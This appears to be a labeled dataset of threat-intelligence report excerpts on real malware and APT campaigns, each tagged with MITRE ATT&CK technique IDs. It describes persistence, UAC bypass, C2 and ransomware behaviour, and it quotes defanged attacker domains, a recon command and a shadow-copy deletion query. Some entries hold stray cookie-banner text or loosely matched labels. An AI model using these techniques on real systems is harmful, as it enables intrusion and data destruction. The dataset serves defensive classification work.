+This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the injection technique used by the shellcode also resembles the first document. The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The remote HTML page is located at https[:]//markettrendingcenter[.]com/member.htm and throws a 404 Not Found which makes it difficult for us to analyze this document any further	['T1218.005']
+2) Download the OpenSSL library. Instead of saving the downloaded file, QakBot measures the download speed and deletes the received file	['T1016.001']
+This script is executed and is used to decode a static base64 string within the strEncode variable. Using base64 encoding the decoded binary is stored as HncModuleUpdate.exe and is then executed. This specific resource contains malicious shellcode used by the malware. These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process	['T1059.005']
+In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The malicious attachment was a simple PE file (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63) with the filename <redacted> Technical Services.exe. Its sole purpose here is to install the QUADAGENT backdoor and execute it. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails	['T1204.001']
+From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality. Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more. However, our current analysis shows no way for such code to be executed	['T1070.004', 'T1070.001']
+BackdoorDiplomacy is a group that primarily targets diplomatic organizations in the Middle East and Africa, and less frequently, telecommunication companies. Their initial attack methodology is focused on exploiting vulnerable internet-exposed applications on webservers, in order to drop and execute a webshell. Post compromise, via the webshell, BackdoorDiplomacy deploys open-source software for reconnaissance and information gathering, and favors the use of DLL search order hijacking to install its backdoor, Turian. Finally, BackdoorDiplomacy employs a separate executable to detect removable media, likely USB flash drives, and copy their contents to the main drive’s recycle bin	['T1574.001']
+It will use an auto-run registry (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) named AdobeMX that will execute PowerShell to load the encoded executable via reflective loading (loading an executable from memory rather than from the system’s disks	['T1059.001']
+Change file owner and group. This utility is used by malware to change the user ID and/or the group ID of the specified files. This can lock other users’ out of access to the file, thus hampering removal or inspection. It may also be required in order to execute a file in certain, elevated context	['T1562.001']
+The iContact binary appears to be a backdoor that gathers user and locale data and engages in encrypted communications with a C2 server over TCP. Functionality includes sending and receiving files and running custom commands such as scanning a directory and deleting files	['T1005']
+Overview of discovered Ramsay versions . Malicious documents dropping Ramsay version 1 . This attack vector consists of malicious documents exploiting CVE-2017-0199 intended to drop an older version of Ramsay. Based on the low complexity of the Ramsay agent delivered, the threat actors may be embedding this specific instance within these malicious documents for evaluation purposes. Even though affected documents will be modified, it won’t impact their integrity; each affected Word document remains fully operational after artifact appending has taken place. First, Ramsay looks for Word documents and also, in more recent versions, for PDFs and ZIP archives: Figure 13. Hex-Rays output of spreader scanning routines . It is important to notice that there is a correlation between the target drives Ramsay scans for propagation and control document retrieval. File structure changes during an infection and execution . All of the different artifacts involved in the infection stage are either within the context of the spreader or dropped previously by another Ramsay component. This information will be contained within all logged information Ramsay collects and may be leveraged by operators in order to do further lateral movement over the network in a later stage via a different channel. Some of Ramsay and Retro filename convention . Is important to highlight that among Retro’s documented techniques, it leverages malicious instances of msfte.dll, oci.dll and lame_enc.dll, and via Phantom DLL Hijacking. As previously documented, Ramsay also uses this technique in some of its versions also using msfte.dll and oci.dll. Finally, we noticed Korean language metadata within the malicious documents leveraged by Ramsay, denoting the use of Korean-based templates	['T1027']
+When G-Data published on Turla/Uroburos back in February, several questions remained unanswered. One big unknown was the infection vector for Turla (aka Snake or Uroburos). Our analysis indicates that victims are infected via a sophisticated multi-stage attack, which begins with the Epic Turla. In time, as the attackers gain confidence, this is upgraded to more sophisticated backdoors, such as the Carbon/Cobra system. Sometimes, both backdoors are run in tandem, and used to “rescue” each other if communications are lost with one of the backdoors	['T1124', 'T1057', 'T1049', 'T1018']
+"Thursday, April 16, 2020 . PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors . News summary . - Azerbaijan government and energy sector likely targeted by an unknown actor. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. Afterward, it copies 7,074,638 bytes from the end of the file and writes the remaining bytes back to the disk. One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. For each FTP usage, the credentials are provided by the C2 server during the request. Start routine The communication between the scripts is done via a file called ""Abibliophobia23"" Commands and results are written into the file using a custom encryption scheme. The binary uses a file system watcher in order to generate an event each time a file is modified in one of the directories in the ""Paths"" variable of the configuration file. Filesystem monitoring routine Once a file is available, the Dog.exe binary exfiltrates it, using email or FTP depending on the configuration. Additional tools . During our investigation, we identified a couple of additional tools mainly in Python and compiled for Windows: - Klog.exe: A keylogger using an output file called ""System32.Log. Tre.py"": A script used to create the file with the files/directories tree"	['T1105']
+This is an application document that has been used to provide a decoy to the Bisonal malware. This conference has some high-ranking government and business attendees. In 2019, a Russian RTF document — судалгаа.doc (research.doc) — was used with an exploit to drop the winhelp.wll file, which contains Bisonal. Based on our research and the released paper mentioned above, the Bisonal malware is part of the Tonto Team arsenal. Tonto Team was mentioned in the media in 2017 as one of the actors who targeted South Korea, when the country announced it would deploy a Terminal High-Altitude Air Defense (THAAD) in response to North Korean missile tests. At this time, researchers connected the Tonto Team to China	['T1203']
+Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon. If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones	['T1021.002', 'T1018']
+The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators	['T1553.002']
+TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected. As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file	['T1566.002']
+Security Intelligence . Topics . Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations . TrickBot is a new banking Trojan. An Unusual Man-in-the-Browser Technique . Nowadays, most modern financial malware families are capable of injecting malicious code into ongoing browser sessions (e.g. For this purpose, and much like other advanced banking Trojans, TrickBot deploys a browser-hooking engine designed to intercept communications to and from the victim’s internet browser. With the real-time fetching trick, the malicious code injections themselves are kept securely on the attacker’s server, not in a file on the victim’s endpoint. 7) Finally, TrickBot’s financial module replaces the original response that would normally come from the bank with the C2’s response, and the injected page is displayed on the victim’s end. The actor can turn the webinjections on or off on the fly, easily modify the injections and then push an update to some or all the infected victims instantaneously. Figure 2: TrickBot’s Server Side Web-Injects — Top Level Flow. Figure 5: TrickBot and Dyre both use “sourcelink” and “sourcequery” for their communications. TrickBot passes the target URLs list to its financial module, which is injected into the browser using pipes communication. A redirection attack, in short, means that instead of injecting malicious code into the original webpage, the victim is now redirected to a new site forged by the fraudsters	['T1185']
+No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. However, our analysis confirmed that Bad Rabbit uses the EternalRomance exploit as an infection vector to spread within corporate networks	['T1036.005', 'T1204.002']
+The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. Once decoded, the configuration contains the data shown in Figure 5 below	['T1140']
+The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1. By default, Excel will not launch the command prompt application, but will do so with the user’s consent via the following dialog box in Figure 3	['T1547.001', 'T1059.001', 'T1059.001']
+the malicious DLL installed as a Print Processor) is stored as a file on disk; the modules are stored in the registry by the installer (from the CrLnc.dat file) and are described in Table 6	['T1547.012']
+More specifically, Ramsay looks for any of two given encoded Hardware Profile GUIDs. One of these GUIDs is hardcoded as shown in Figure 14, while the other is dynamically generated based on the compromised victim’s machine. If any of the subject identifiers are found, parsing for a command signature will be attempted	['T1082']
+"Then, it drops C:\Users\Public\x.vbs. Then it drops, C:\Users\Public\Natso.bat. Then, it executes `Natso.bat`, which is a ""fileless"" UAC bypass found by James Forshaw. If C:\Windows\Finex still doesn't exist (which means the UAC bypass failed), it will update the Nasto.bat and execute it using the code shown below. This is another UAC bypass technique based on fodhelper.exe. On our test machine, the last bypass was successful, and `C:\Windows\Finex` was successfully created. After that, the DLL deletes the dropped file and exits"	['T1070.004']
+To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable	['T1574.007']
+As covered above, the attacker dropped two files: Chaos and Client. Chaos is the backdoor that enables the reverse-shell and Client is needed to initiate the connect-back from chaos	['T1573.001', 'T1059.004']
+Turla has many names in the information security industry — it is also known as Snake, Venomous Bear, Uroburos and WhiteBear. Turla likes to use compromised web servers and hijacked satellite connections for their command and control (C2) infrastructure. In some operations, they also do not directly communicate to the C2 server. Instead, they use a compromised system inside the targeted network as a proxy, which forwards the traffic to the real C2 server. Well-known malware like Crutch or Kazuar are attributed to Turla. Lately, we have also seen research that has shown potential links between the Sunburst backdoor and Turla. Not every campaign run by Turla can clearly be attributed to them	['T1584.004']
+Create processes - Write responses from the control server to a file - Send information for all drives - Write data sent by the control server to a temporary file matching the file path pattern %temp%\DWS00* - Change the time of a file as specified by the control server	['T1070.006']
+Something that makes Kobalos unique is the fact that the code for running a C&C server is in Kobalos itself. Any server compromised by Kobalos can be turned into a C&C server by the operators sending a single command. As the C&C server IP addresses and ports are hardcoded into the executable, the operators can then generate new Kobalos samples that use this new C&C server	['T1059.004']
+Finally, the command: system_profiler SPHardwareDataType 2>/dev/null || awk ‘/Boot ROM Version/ {split($0, line, “:”);printf(“%s”, line[2]);} checks if the machine is one of the following: “MBP”, “MBA”, “MB”, “MM”, “IM”, “MP” and “XS”. These codes represent the model of the system. For instance, “MBP” stands for MacBook Pro, “MBA” stands for MacBook Air and so on	['T1497.001']
+Whenever winword makes any graphical call, the shellcode executes. This technique to hijack control flow has also been used by other sophisticated attackers such as FinFisher. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap	['T1140', 'T1574.013', 'T1620']
+"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. ChinaChopper web shell. shown in Figure 4, are required to interact with the web shell"	['T1059.003']
+WINEKEY maintains persistence through reboot via the use of registry RUN keys. Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware	['T1547.001']
+This specific module appears to have been put together from public sources with some added functionality from the attackers. Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the C&C hostname which fits previously known Turla activity	['T1205']
+The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020	['T1584.001']
+More interesting however is it that it also contains support for windows execution via smb shares and IPC. The sample also has a Windows version of the malware embedded inside that it can install on remote windows shares and then execute as a service	['T1021.002']
+One for 32-bit and the other for 64-bit, which download an updated version of the loader. The main difference between the two loops is that in case of a Windows x64 infection, there is no check of the loader’s version	['T1082']
+It drops ransom notes at various folders in the system and opens one after it has encrypted the data and documents of the victim. As with usual ransomware, it does this to extort money from the victim in exchange for the decryption of their files	['T1486']
+Cobalt is one of the most notorious cybercrime operations, with attacks against more than 100 banks across 40 countries attributed to the group. Morphisec Labs believes that the Cobalt Group split following the arrest of one of its top leaders in Spain in March of 2018. While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Cobalt Group Technical Details . Stage 1 - Word Macro + Whitelisting Bypass . As with many other campaigns, the victim received a document with malicious macro visual basic code. Although the code is heavily obfuscated, the entry point is easily identifiable. The VB code is executed starting from the Frame1_Layout function – this method is used much less frequently than the obvious Document_Open or the AutoOpen. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. Organizations should expect to see much more coming from all Cobalt Group factions during the next year	['T1027']
+Establish persistence for itself on the endpoint - Establish persistence of another component of the malware on the endpoint - Update itself on endpoint after a separate updater component downloads the update from the control server	['T1070.004', 'T1547.001']
+Regularly, the service checks if a user is logged, by checking if Explorer is running. Once explorer.exe is running, the service configures the environment and executes the C2 contact module: winprint32.exe	['T1057']
+The sample collects the user information including current processes, installed software, system language and time zone. The harvested credentials and user information are then sent back to the C2. Here are some highlights about system information stealing	['T1124']
+Passgrabber module – collects logins and passwords from various sources: Firefox and Chrome files, Microsoft Vault storage, etc. Instead of using Mimikatz as in previous versions, the module collects passwords using its own algorithms	['T1555.003']
+The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication	['T1547.004']
+The Cloud Atlas implants utilize a rather unusual C&C mechanism. All the malware samples we’ve seen communicate via HTTPS and WebDav with the same server “cloudme.com”, a cloud services provider. According to their website, CloudMe is owned and operated by CloudMe AB, a company based in Linköping, Sweden	['T1102']
+These websites hosted malware that would be side-loaded with a legitimate signed executable. These tactics are becoming increasingly common by malware authors in order to evade security products and controls. Two variants of the malware employed by C0d0so0 were discovered—one that used HTTP for command and control (C2) communications, and one that used a custom network protocol over port 22	['T1132.001', 'T1574.002']
+"Gather all network configuration information and record to a file on disk in a folder created by the implant using the command: cmd.exe /c ipconfig/all >>""%s"" & arp -a >>""%s"" where %s = <file_path"	['T1016']
+The overwritten code reads the ransom note string inside the MBR and sets it to appear on the display	['T1542.003']
+Consent - Details - [#IABV2SETTINGS#] - About This website uses cookies . We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email. Kaspersky Lab products detect the different artifacts used in this campaign with the following verdicts: Trojan.Win32.Generic, Trojan-Downloader.Win32.Upatre and Backdoor.Win32.HyperBro. Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor (also known as EmissaryPanda and APT27). Also the C2 domain update.iaacstudio[.]com was previously used in their campaigns. Regarding Metasploit’s shikata_ga_nai encoder – although it’s available for everyone and couldn’t be the basis for attribution, we know this encoder has been used by LuckyMouse previously. Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we can´t prove they were related to this particular attack. The main C2 used in this campaign is bbs.sonypsps[.]com, which resolved to IP-address, that belongs to the Ukrainian ISP network, held by a Mikrotik router using firmware version 6.34.4 (from March 2016) with SMBv1 on board	['T1574.002']
+Similar to its dropper, the binary seeks to evade sandboxes. In addition to the previously described trick EvilBunny performs hook detection to trick environments which hook time retrieval APIs. These are NtQuerySystemTime, GetSystemTimeAsFileTime and GetTickCount. Every API is called twice to calculate a delta, while performing a sleep(1000) operation between iteration one and iteration two. This can only be the case if any of the three API’s return values is modified by a system monitoring solution, like a sandbox	['T1124']
+Anchor and older versions of Anchor_DNS implement the exact same self deletion routine using two sets of commands to ensure that the dropper is deleted once the malware was successfully deployed	['T1059.003', 'T1070.004']
+CTU analysis of one of GOLD KINGSWOOD's campaign using SpicyOmelette (DOC2018.js) exposed additional sophisticated methods to compromise targets. A valid digital certificate was used to sign the malicious script. Windows Scripting Host supports the inclusion of digital signatures, and Figure 2 shows how the signature was appended to the script	['T1553.002']
+There are multiple active campaigns currently delivering Emotet. The first is a simple email with a Word document attached. This example also shows the second type of campaign, leveraging a direct URL download instead of Office documents with macros that fetch the malware. Malicious code embedded in the malicious attachment functions as a downloader for the Emotet malware. When this code is executed, PowerShell is invoked, which reaches out to the Emotet malware distribution server, downloads the malicious payload, and executes it, thus infecting the system. In the screenshot above, you can see that the script is configured with multiple URLs that can be used to download the PE32 executable associated with Emotet. The malware is overwhelmingly hosted on compromised websites. These sites are then leveraged as random hosting locations for the campaigns to leverage. The initial URL is requested with a connection keep-alive in the header. Talos has observed recent runs of Emotet checking if the compromised system's IP address is currently found on many spam-related blocklists including those hosted by SpamCop, Spamhaus, and SORBS, among others	['T1027']
+Historically, the group has employed the use of a series of phishing origin points, abusing access first at one university and then another	['T1583.001']
+After uploading these files, take advantage of the pre-built queries within BloodHound. Queries include: viewing all domain administrators; viewing users with the most local administrator rights; or viewing computers with the most administrative user access. One of these queries gives you the ability to map domain trusts, as shown in Figure 3	['T1482']
+Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files	['T1204.002']
+In their advisory published on Jan. 26, 2022, CERT-UA asserted that the initial vector for the malware, dubbed WhisperGate, was either a supply-chain attack or exploitation. The first payload in this infection is responsible for the initial attempt at wiping the systems. The malware executable wipes the master boot record (MBR) and replaces it with the code responsible for displaying the ransom note. Similar to the notorious NotPetya wiper that masqueraded as ransomware during its 2017 campaign, WhisperGate is not intended to be an actual ransom attempt, since the MBR is completely overwritten and has no recovery options. This wiper also tries to destroy the C:\ partition by overwriting it with fixed data. However, most modern systems today have switched to GUID Partition Table (GPT) from MBR, which allows for larger file systems and has fewer limitations, potentially limiting some of the impacts of this executable. As a result, there were additional stages and additional payloads that could inflict more damage to end systems	['T1561.002']
+This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies	['T1585.002']
+This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. It places the resulting executable in an existing directory and creates a scheduled task that will launch it every 10 minutes. As can be seen in Figure 6, the decoded source code still has comments in it, illustrating the apparent sloppiness of Gamaredon’s operators	['T1027.001', 'T1053.005']
+The attackers configured multiple C2 servers for various stages, reusing several scripts we’ve seen in previous attacks by the group. Moreover, based on the insights so far, it was possible to figure out the relationship with other Lazarus group campaigns	['T1584.004']
+APT40 relies heavily on web shells for an initial foothold into an organization. Depending on placement, a web shell can provide continued access to victims' environments, re-infect victim systems, and facilitate lateral movement	['T1505.003']
+"Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The actors have made some small changes, such as altering the variable names to avoid Yara detection and sending the results of the commands to the C2 in the URL instead of writing them to file. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub projected called FruityC2. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information"	['T1036.005']
+Among the different files dropped by the latest versions of Ramsay we find a Spreader component. This executable will attempt to scan for network shares and removable drives excluding A: and B: drives	['T1080']
+These commands allow the threat group to gain information about the compromised computer and the network to which it belongs. Using this information, they can decide to explore further or instruct the compromised computer to download additional malware	['T1016', 'T1082', 'T1007']
+1) Moving the (malicious) application into the /Users/user/Library/ directory 2) Executing this persisted copy, via the open command 3) Decrypting embedded strings that relate to file extensions of (likely) interest	['T1036']
+TA505 has been responsible for many large-scale attacks since at least 2014, using malicious email campaigns to distribute various banking trojans, ransomware, RATs, and backdoors. TA505 has been focused on delivering downloaders, information stealers, and other malware — threats that can remain in affected systems if not prevented or remediated. With the group's use of email as an entry point for malicious activities, the threat has become more serious for unwitting users and organizations	['T1566.001']
+The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically (shown below): LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to “cmd.exe” and the description to ‘ /q /c start “” “%s” && start “” “%s” ‘ TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista+) and uses the ITaskService interface to create a new task with a logon trigger StartupAutorun The subsystem creates a LNK file in %STARTUP% ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger start date is set to the creation date of the Windows directory ShellAutorun Winlogon registry [HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon] Shell=”explorer.exe	['T1547.001', 'T1547.009']
+Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine. Execute the command	['T1059.003']
+1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckfly obtained information on the targeted user, but we did find a large open-source presence on the initial target. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. While we know the attackers used a custom dropper to install the back door, we do not know the delivery vector. Based on the amount of open-source information available on the target, it is feasible that a spear-phishing email may have been used. We found evidence that Suckfly used hacktools to move latterly and escalate privileges. To do this the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckfly was successful in stealing other information	['T1003']
+In order to download the additional modules, the malware uses the BITSAdmin tool, which this group has relied on for some years to avoid detection, since this is an allowlisted tool from the Windows operating system. By the end of September 2019, we started seeing a new version of Guildma malware being distributed that used a new technique for storing downloaded payloads in NTFS Alternate Data Streams in order to conceal their presence in the system	['T1105']
+The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2	['T1010']
+NV.html, tracked by Microsoft as EnvyScout, can be best described as a malicious dropper capable of de-obfuscating and writing a malicious ISO file to disk. EnvyScout is chiefly delivered to targets of NOBELIUM by way of an attachment to spear-phishing emails	['T1204.002', 'T1140']
+In order to identify a particular mining session, a file containing the IP address of the machine and the day’s date is created by the idgenerator script and its output is sent to the C&C server by the updater.sh script	['T1016']
+One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ remote templates. Remote template injection refers to the method of causing a document to load a remote document template that contains the malicious code, in this case, macros	['T1566.001', 'T1027', 'T1204.002', 'T1221']
+First, they use COM object hijacking to make the malware persistent on the system even though the custom backdoor is installed only for a few hours. Second, the hex-encoded string is the C&C used by the custom backdoor while in the Delphi backdoor the C&C is embedded in the configuration	['T1573.001', 'T1546.015']
+Creates 2 objects in the AD forest Configuration partition. Updates the SPN of the computer used to include “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (AD Replication). More info on Kerberos Service Principal Names in the ADSecurity SPN section. Pushes the updates to DCs via DrsReplicaAdd and KCC	['T1207']
+The exported procedure HandlerW , responsible for parsing the arguments, shows that it is also possible to try to impersonate an anonymous token or try to steal another’s process token just for the execution of a command	['T1134.002']
+Then, it reads the dropped file with the .db3 extension, which contains position-independent code, and uses CreateThread to execute its content	['T1574.002']
+The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver	['T1105']
+Winnti malware handles outbound communications using multiple protocols including: ICMP, HTTP, as well as custom TCP and UDP protocols. Use of these protocols is thoroughly documented in the Novetta and Kaspersky reports	['T1071.001', 'T1095']
+Proxysvc appears to be a downloader whose primary capability is to deliver additional payloads to the endpoint without divulging the control address of the attackers. This implant is a service DLL that can also run as a standalone process	['T1569.002']
+DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id	['T1047', 'T1490', 'T1490', 'T1490', 'T1047', 'T1047']
+"In the cases where Sakula does not use a registry key for persistence, it attempts to set itself up as a service (see Table 2). It invokes itself by calling WinExec with the ""net start %s"" argument (without quotes), where ""%s"" is the service name"	['T1543.003']
+The threat actor launched a series of reconnaissance commands to try to obtain and enumerate information about the compromised machine, network architecture, users, and active directory enumeration	['T1049']
+FireEye Research Labs, the intelligence behind our Mandiant Consultancy services, identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks. The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11. Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue	['T1203']
+In this wave of attacks, Emotet trojan spreads by emails that lure victims into downloading a Christmas-themed Word document, which contains a macro that executes a PowerShell script to download a malicious payload	['T1059.001']
+One of the file path name combinations observed was ‘C:\ProgramData\Dacr\macrse.exe’, also configured in a Crimson “Main Client” sample and used for saving the payload received from the C2 when invoking the usbwrm command	['T1105']
+In this case, we can see the binary installation path and local reconnaissance to determine which flavor of Linux the malware is running. This is followed by a number of Linux shell command style commands related to the malware establishing persistence	['T1082']
+Command Number – a running index number to keep track of executed commands. If set to any number other than -1, the backdoor should proceed to execute the command, according to the Command ID. Command ID – can be one of the following commands: 101 – Shell Command: execute the Shell command attached in the {Arg1} argument. 102 – Download File: Downloads a file that can be found on the {Arg2} path on the server, and saves it on the disk with the {Arg1} name. 104 – Shell Command (duplicate): execute the Shell command attached in the {Arg1} argument. 101 – Shell Command: execute the Shell command attached in the {Arg1} argument. 102 – Download File: Downloads a file that can be found on the {Arg2} path on the server, and saves it on the disk with the {Arg1} name. 104 – Shell Command (duplicate): execute the Shell command attached in the {Arg1} argument	['T1059.003']
+Also, on some infected computers we found a tool called the Winexesvc tool. The main difference is that the Winexesvc tool enables the execution of remote commands from Linux-based operating system. When the Linux binary “winexe” is run against a Windows server, the winexesvc.exe executable is created and installed as a service	['T1569.002']
+CertPKIProvider.dll, tracked by Microsoft as “VaporRage” can best be described as a shellcode downloader. This version of VaporRage contains 11 export functions including eglGetConfigs, which houses the malicious functionality of the DLL	['T1105']
+On other websites, different cloud storage solutions such as Amazon S3 or Google Drive were used to host Windows, OSX, and Android malware payloads	['T1583.006', 'T1102', 'T1608.001']
+Conclusion The DarkHydrus group carried out an attack campaign on at least one government agency in the Middle East using malicious .iqy files. The .iqy files take advantage of Excel's willingness to download and include the contents from a remote server in a spreadsheet. DarkHydrus leveraged this obscure file format to run a command to ultimately install a PowerShell scripts to gain backdoor access to the system. The PowerShell backdoor delivered in this current attack may have been custom developed by the threat group, however, it is possible that DarkHydrus pieced together this tool by using code from legitimate open source tools	['T1059.001']
+Spear phishing, including the use of probably compromised email accounts. Lure documents using CVE-2017-11882 to drop malware. Stolen code signing certificates used to sign malware. Use of bitsadmin.exe to download additional tools. Use of PowerShell to download additional tools. Using C:\Windows\Debug and C:\Perflogs as staging directories. Using Windows Management Instrumentation (WMI) for persistence. Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence. Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal	['T1547.001', 'T1547.009']
